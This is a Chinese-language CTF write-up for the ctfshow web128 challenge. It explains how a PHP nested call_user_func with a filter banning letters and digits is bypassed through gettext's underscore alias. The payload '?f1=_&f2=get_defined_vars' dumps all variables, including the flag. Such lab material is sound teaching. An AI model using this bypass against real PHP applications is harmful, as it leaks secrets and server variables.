web128笔记(call_user_func() 函数+gettext拓展)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-10 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-12 19:49:05 */ error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); } NULL
这里嵌套了两层的call_user_func,关于call_user_func函数在前面的题中已经讲过,不过我们可以再回顾一下,同时介绍新的知识点
call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数
这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()
<?php echo gettext("ctfshownb"); //输出结果:ctfshownb echo _("ctfshownb"); //输出结果:ctfshownb
因此call_user_func('_','ctfshownb') 返回的结果为ctfshownb,接下来到第二层call_user_func,找了一圈发现get_defined_vars函数可以使用
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
所以payload也就出来了
?f1=_&f2=get_defined_vars
整个执行流程就是
var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//输出数组
浙公网安备 33010602011771号